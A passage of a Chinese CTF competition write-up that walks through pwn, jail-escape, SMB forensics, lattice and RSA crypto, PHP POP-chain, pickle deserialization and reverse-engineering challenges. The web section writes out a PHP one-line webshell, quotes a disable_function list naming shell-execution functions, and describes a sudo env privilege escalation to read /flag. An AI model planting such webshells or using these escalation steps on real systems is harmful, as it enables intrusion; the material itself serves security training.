,AES加密,得到密文
3-显示 money
4-输入 x
计算RSA,成功后,输入 y
,money+=(-100)*y
,LimitAcountNumber+=y
5-显示 LimitAcountNumber
6-如果 money>50000
,买下系统,则 buy=1
7-输入密文,AES解密得到 用户名=AdminAdminAdminA
,则 admin_login_state=1
8-满足用户是 admin
(admin_login_state == 1
)且买下系统(buy == 1
)后,可以修改系统名字
攻击思路
先买系统,输入4,计算 x
:
1 | n = 281443 |
然后整数溢出,使 money>50000
,输入6,买下系统,buy=1
。
下一步伪造管理员登录,输出7,cbc字节翻转攻击,满足用户名=AdminAdminAdminA
,admin_login_state=1
。
最后改系统名字,输入8,scanf
栈溢出,ret2syscall。
1 | from pwn import * |
Week4
Misc
hard_jail
waf好短,看起来好简单OUO
交互拿到源码:
1 | black=["(",")","\'","\"","@"] |
覆盖black为空即可:
1 | >>black=[] |
Secret of Starven
有黑客进入了Starven的电脑,还偷走了他的学习资料,你能帮助他挽回尊严嘛
SMB流量,用 smb2
筛选,在405提取 secret.zip
数据,zip爆破,密码:spellorstarve
。
解压得到flag:SYC{D0n7_spre0d_St@rven's_s3crEt}
。
Crypto
easy_LLL
升级svp,flag前缀为SYC{xx}
HNP问题,$a_im+b_i \equiv c_i \pmod p \Rightarrow -b_i=a_im-c_i+k_ip$,构造格,LLL求解。
1 | p = 114770017142688382362918268558878024848633097928402093647914503696492833723966801545716194546592346338592062332306371502256979159033965343002132956304625610134374822329402499359634555710129039614275145668904822690744696925414716152630310915301980153974374009140517084226870950134327432658087834138202887501571 |
highlow
高,低位,异或,flag前缀为SYC{xx}
flag为44位,高1024-44*8-400=272为0,低400位为0,coppersmith求解。
1 | from Crypto.Util.number import * |
Number theory
费马,flag前缀为SYC{xx}
$h_0 \equiv (1012q + 2024)^p \pmod n \\\Rightarrow h_0 \equiv (1012q + 2024)^p \pmod q \\\Rightarrow h_0 \equiv 2024^p \pmod q \\\Rightarrow 2024^p = h_0-kq \\\Rightarrow 2024^n = (h_0-kq)^q \\\Rightarrow 2024^n=h_0^q + Kq \\\Rightarrow 2024^n \equiv h_0 \pmod q$
所以 $2024^n-h_0$,必然是 $q$ 的倍数。
$h_1=a_1p+b_1q,h_2=a_2p+b_2q \\\Rightarrow b_2h_1=a_1b_2p+b_1b_2q,b_1h_2=a_2b_1p+b_1b_2q$
相减有 $b_2h_1-b_1h_2=(a_1b_2-a_2b_1)*p$,爆破小位数的 $b_1,b_2$ 求gcd得 $p$。
1 | from Crypto.Util.number import * |
Web
not_just_pop
听Bingfeng师傅说他的ez_pop很难,要不试试这个更简单的?
pop链构造,传给Syclover参数。
1 | from phpserialize import * |
发现存在 disable_function,无法读/flag:
1 | exec,system,shell_exec,popens,popen,curl_exec,curl_multi_exec,proc_open,proc_get_status,,readfile,unlink,dl,memory_get_usage,dl,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,linkopen_basedir |
更换命令为 file_put_contents("1.php","<?php eval($_POST[1]);");
写马,蚁剑连接,使用绕过 disable_function 插件,测试使用PHP7_Backtrace_UAF可以成功执行命令。
sudo -l
发现:NOPASSWD: /usr/bin/env
env -C :在指定目录下执行指定命令,并设置相应的环境变量。例如,输入”env -C /usr/bin ls”命令会在/usr/bin目录下执行ls命令。
提权读/flag:sudo /usr/bin/env -C cat /flag
ez_python
五个月前,道心破碎,于是便出了这道题,你能治愈当时的我破碎的心灵吗?我会给你flag作为奖励……
注册,登录,提示:Error!!!! give you hint: maybe you can view /starven_s3cret
。
访问 /starven_s3cret
下载源码,代码审计,在 /login
路由下,statement传入内容,再触发pickle反序列化。
构造:
1 | import base64 |
发现可以过黑名单,且成功触发sleep。
尝试反弹shell不成功,配合RCE盲注拿flag:
1 | import requests |
Reverse
ez_re
牢弟很喜欢把秘密藏在乱糟糟的地方不让大家看,你能帮我找找他的秘密吗?
main()
函数除花,去掉 db 0E8h
,分析逻辑为 AES-CBC加密。
去反调试 IsDebuggerPresent()
,动调得key和iv和密文:
1 | key = addddb082dd94dcabad5d75639eac9da |
AES-CBC解密得到flag:SYC{W0w_Y0U_fOUNdDD_TLS_AND_AeS}
。
贝斯!贝斯!
华强摸了摸你的ida并问到:“你这base保熟吗。”
动调看逻辑:
第一步变表base58,表:Zix7BucHvEV2UAf5e8hKsNDkQ1pq9gjC6RbFwMyLToSnJYWXdaG3r4Pztm
;
第二步,先结合 sub_4018FF()+sub_4019EE()
,RC4,key:happy_happy
;
第三步变表base85,根据RC4打乱码表,表:eM+wr=x8aYZ/[zU$yRB&kbO;%p0P5f*7d(n]1Eug4ojc62AC,v39!h-^qQ.G?s)i:DFlS<>#@HINJTmtKLVWX
。
已知密文:RjB6Myu#,>Bgoq&u.H(nBgdIaOKJbgEYj1GR4S.w:
第一步,base85还原得到:6pmB34FC9sbYxcKP9rjGGiyRsx1s6c72
;
第二步,由于时间戳问题,进入 sub_401550()
,提取当前日期的年份、月份和日期,并使用它们来创建随机数生成器的种子。
生成不同的码表来爆破,写入 table.txt
:
1 |
|
再解码:
1 | import base58 |
Reverse/Crypto
Math
离散对数DLP,RSA Modular binomial, base64变表(可与队友联合解题,也可学习些二进制基础,对以后有益),提交的flag格式:flag{xx}
已知输出:
1 | c_output='d0BURFg2dLNFBLDySWN5RmrUS0k2ejDzdJRLSJkLR0gGBqIVSmR3RLR5RmI1BqRLdqlWemk4Bqr4B0rLdqD0S01HemS0Bqx6d01LS0t2djt5dWO1BLV1Bqr3dL1LSjR6RWk4eq15BFh0R0x6R0OzdWBHSmg3dWg5dmr2RFB6BLDyd0DVRjrHdmg3ejdyeqkHR0gGB0tFRLg4BFBGemNFSJr6BFN3d0IzB0C4B013RjyySJhzRjuydqxFd0D1BjuyemlVS0B6BWk2BLDzejBURml0RLh0RjD0BJR2SWd0BqCLdjN2RFh0RjRHR0uzSj1Ldj1FBWR2R0hySqy0RmS1dg==' |
分析程序,base64变表为 CDEqrIJKNOPABdefghijklmQRSTstuvwxyz01VWXYZabcnop456L23FGHUM789+/
。
分别解码得到:
1 | c_output='639cd472630afb1aa9f5490b4f3de3b4701eef5c61aad06345f9e001021340cf989fc082693f745716bd39d015793e62be08913dcb82b2b6c8ed56d15a4cc230a60ea185d593a858b47276c403c79b6da23b561b200295a8addba7a48660d17a9eef322e430b939aecc4ca0c0f4fcc003524cdca68b7be935962f4b4ad8cafd5' |
分析计算部分的逻辑为:
$c_1 = p^{e_1} \pmod {n_1}$
$h_1 = 2023p_1+2024 \pmod {q_1}$
$c_2 = q^{e_2} \pmod {n_2}$
$h_2 = (2023p_2+2024q_2)^{2323} \pmod {n_2}$
$h_3 = (2024p_2+2023q_2)^{2424} \pmod {n_2}$
$a = g^e \pmod n$
同题 Number theory,数论+DLP(Pohlig–Hellman)求解:
1 | from Crypto.Util.number import * |